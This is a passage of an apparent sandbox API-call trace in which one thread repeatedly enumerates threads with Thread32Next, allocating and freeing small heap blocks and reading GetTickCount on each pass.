RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.716] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.716] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.717] GetTickCount () returned 0x11348b4 [0125.717] GetCurrentThreadId () returned 0x134 [0125.717] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.717] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.717] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.717] GetTickCount () returned 0x11348b4 [0125.717] GetCurrentThreadId () returned 0x134 [0125.717] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.717] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.717] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.718] GetTickCount () returned 0x11348b4 [0125.718] GetCurrentThreadId () returned 0x134 [0125.718] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.718] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.718] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.719] GetTickCount () returned 0x11348b4 [0125.719] GetCurrentThreadId () returned 0x134 [0125.719] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.719] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.719] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.720] GetTickCount () returned 0x11348b4 [0125.720] GetCurrentThreadId () returned 0x134 [0125.720] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.720] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.720] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.720] GetTickCount () returned 0x11348b4 [0125.720] GetCurrentThreadId () returned 0x134 [0125.720] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.720] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.720] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.721] GetTickCount () returned 0x11348b4 [0125.721] GetCurrentThreadId () returned 0x134 [0125.721] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.721] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.721] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.722] GetTickCount () returned 0x11348b4 [0125.722] GetCurrentThreadId () returned 0x134 [0125.722] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.722] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.722] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.722] GetTickCount () returned 0x11348b4 [0125.722] GetCurrentThreadId () returned 0x134 [0125.722] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.722] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.722] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.723] GetTickCount () returned 0x11348b4 [0125.723] GetCurrentThreadId () returned 0x134 [0125.723] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.723] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.723] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.724] GetTickCount () returned 0x11348b4 [0125.724] GetCurrentThreadId () returned 0x134 [0125.724] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.724] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.724] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.725] GetTickCount () returned 0x11348b4 [0125.725] GetCurrentThreadId () returned 0x134 [0125.725] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.725] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.725] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.725] GetTickCount () returned 0x11348b4 [0125.725] GetCurrentThreadId () returned 0x134 [0125.725] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.725] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.725] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.726] GetTickCount () returned 0x11348b4 [0125.726] GetCurrentThreadId () returned 0x134 [0125.726] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.726] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.726] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.727] GetTickCount () returned 0x11348b4 [0125.727] GetCurrentThreadId () returned 0x134 [0125.727] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.727] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.727] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.728] GetTickCount () returned 0x11348b4 [0125.728] GetCurrentThreadId () returned 0x134 [0125.728] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.728] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.728] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.728] GetTickCount () returned 0x11348b4 [0125.728] GetCurrentThreadId () returned 0x134 [0125.728] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.728] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.728] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.729] GetTickCount () returned 0x11348b4 [0125.729] GetCurrentThreadId () returned 0x134 [0125.729] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.729] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.729] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.730] GetTickCount () returned 0x11348b4 [0125.730] GetCurrentThreadId () returned 0x134 [0125.730] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.730] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.730] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.730] GetTickCount () returned 0x11348b4 [0125.730] GetCurrentThreadId () returned 0x134 [0125.730] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.731] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.731] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.731] GetTickCount () returned 0x11348b4 [0125.731] GetCurrentThreadId () returned 0x134 [0125.731] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.731] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.731] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.732] GetTickCount () returned 0x11348c4 [0125.732] GetCurrentThreadId () returned 0x134 [0125.732] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.732] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.732] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.733] GetTickCount () returned 0x11348c4 [0125.733] GetCurrentThreadId () returned 0x134 [0125.733] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.733] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.733] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.733] GetTickCount () returned 0x11348c4 [0125.733] GetCurrentThreadId () returned 0x134 [0125.733] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.733] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.734] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.734] GetTickCount () returned 0x11348c4 [0125.734] GetCurrentThreadId () returned 0x134 [0125.734] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.734] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.734] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.735] GetTickCount () returned 0x11348c4 [0125.735] GetCurrentThreadId () returned 0x134 [0125.735] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.735] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.735] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.736] GetTickCount () returned 0x11348c4 [0125.736] GetCurrentThreadId () returned 0x134 [0125.736] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.736] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.736] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.736] GetTickCount () returned 0x11348c4 [0125.736] GetCurrentThreadId () returned 0x134 [0125.736] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.736] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.736] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.737] GetTickCount () returned 0x11348c4 [0125.737] GetCurrentThreadId () returned 0x134 [0125.737] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.737] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.737] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.738] GetTickCount () returned 0x11348c4 [0125.738] GetCurrentThreadId () returned 0x134 [0125.738] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.738] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.738] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.738] GetTickCount () returned 0x11348c4 [0125.739] GetCurrentThreadId () returned 0x134 [0125.739] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.739] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.739] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.739] GetTickCount () returned 0x11348c4 [0125.739] GetCurrentThreadId () returned 0x134 [0125.739] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.739] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.739] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.740] GetTickCount () returned 0x11348c4 [0125.740] GetCurrentThreadId () returned 0x134 [0125.740] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.740] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.740] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.741] GetTickCount () returned 0x11348c4 [0125.741] GetCurrentThreadId () returned 0x134 [0125.741] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.741] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.741] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.741] GetTickCount () returned 0x11348c4 [0125.741] GetCurrentThreadId () returned 0x134 [0125.741] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.741] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.742] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.742] GetTickCount () returned 0x11348c4 [0125.742] GetCurrentThreadId () returned 0x134 [0125.742] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.742] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.742] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.743] GetTickCount () returned 0x11348c4 [0125.743] GetCurrentThreadId () returned 0x134 [0125.743] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.743] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.743] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.744] GetTickCount () returned 0x11348c4 [0125.744] GetCurrentThreadId () returned 0x134 [0125.744] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.744] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.744] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.744] GetTickCount () returned 0x11348c4 [0125.744] GetCurrentThreadId () returned 0x134 [0125.744] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.744] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.744] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.745] GetTickCount () returned 0x11348c4 [0125.745] GetCurrentThreadId () returned 0x134 [0125.745] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.745] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.745] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.746] GetTickCount () returned 0x11348c4 [0125.746] GetCurrentThreadId () returned 0x134 [0125.746] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.746] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.746] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.746] GetTickCount () returned 0x11348c4 [0125.746] GetCurrentThreadId () returned 0x134 [0125.746] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.746] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.747] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.747] GetTickCount () returned 0x11348c4 [0125.747] GetCurrentThreadId () returned 0x134 [0125.747] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.747] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.747] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.748] GetTickCount () returned 0x11348d3 [0125.748] GetCurrentThreadId () returned 0x134 [0125.748] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.748] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.748] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.749] GetTickCount () returned 0x11348d3 [0125.749] GetCurrentThreadId () returned 0x134 [0125.749] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.749] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.749] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.749] GetTickCount () returned 0x11348d3 [0125.749] GetCurrentThreadId () returned 0x134 [0125.749] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.749] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.749] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.750] GetTickCount () returned 0x11348d3 [0125.750] GetCurrentThreadId () returned 0x134 [0125.750] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.750] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.750] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.751] GetTickCount () returned 0x11348d3 [0125.751] GetCurrentThreadId () returned 0x134 [0125.751] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.751] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.751] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.751] GetTickCount () returned 0x11348d3 [0125.751] GetCurrentThreadId () returned 0x134 [0125.751] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.751] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.751] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.752] GetTickCount () returned 0x11348d3 [0125.752] GetCurrentThreadId () returned 0x134 [0125.752] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.752] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.752] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.753] GetTickCount () returned 0x11348d3 [0125.753] GetCurrentThreadId () returned 0x134 [0125.753] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.753] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.753] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.754] GetTickCount () returned 0x11348d3 [0125.754] GetCurrentThreadId () returned 0x134 [0125.754] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.754] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.754] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.755] GetTickCount () returned 0x11348d3 [0125.755] GetCurrentThreadId () returned 0x134 [0125.755] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.755] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.755] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.756] GetTickCount () returned 0x11348d3 [0125.756] GetCurrentThreadId () returned 0x134 [0125.756] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.756] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.756] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.756] GetTickCount () returned 0x11348d3 [0125.756] GetCurrentThreadId () returned 0x134 [0125.757] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.757] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.757] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.757] GetTickCount () returned 0x11348d3 [0125.757] GetCurrentThreadId () returned 0x134 [0125.757] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.757] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.757] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.758] GetTickCount () returned 0x11348d3 [0125.758] GetCurrentThreadId () returned 0x134 [0125.758] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.758] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.758] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.759] GetTickCount () returned 0x11348d3 [0125.759] GetCurrentThreadId () returned 0x134 [0125.759] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.759] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.759] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.759] GetTickCount () returned 0x11348d3 [0125.759] GetCurrentThreadId () returned 0x134 [0125.759] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.759] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.759] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.760] GetTickCount () returned 0x11348d3 [0125.760] GetCurrentThreadId () returned 0x134 [0125.760] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.760] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.760] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.761] GetTickCount () returned 0x11348d3 [0125.761] GetCurrentThreadId () returned 0x134 [0125.761] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.761] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.761] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.761] GetTickCount () returned 0x11348d3 [0125.761] GetCurrentThreadId () returned 0x134 [0125.761] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.762] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.762] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.762] GetTickCount () returned 0x11348d3 [0125.762] GetCurrentThreadId () returned 0x134 [0125.762] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.762] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.762] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.763] GetTickCount () returned 0x11348e3 [0125.763] GetCurrentThreadId () returned 0x134 [0125.763] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.763] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.763] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.764] GetTickCount () returned 0x11348e3 [0125.764] GetCurrentThreadId () returned 0x134 [0125.764] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.764] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.764] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.764] GetTickCount () returned 0x11348e3 [0125.764] GetCurrentThreadId () returned 0x134 [0125.764] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.764] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.764] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.765] GetTickCount () returned 0x11348e3 [0125.765] GetCurrentThreadId () returned 0x134 [0125.765] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.765] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.765] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.766] GetTickCount () returned 0x11348e3 [0125.766] GetCurrentThreadId () returned 0x134 [0125.766] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.766] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.766] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.766] GetTickCount () returned 0x11348e3 [0125.766] GetCurrentThreadId () returned 0x134 [0125.766] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.766] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.766] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.767] GetTickCount () returned 0x11348e3 [0125.767] GetCurrentThreadId () returned 0x134 [0125.767] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.767] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.767] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.768] GetTickCount () returned 0x11348e3 [0125.768] GetCurrentThreadId () returned 0x134 [0125.768] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.768] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.768] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.768] GetTickCount () returned 0x11348e3 [0125.768] GetCurrentThreadId () returned 0x134 [0125.768] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.768] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.768] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.769] GetTickCount () 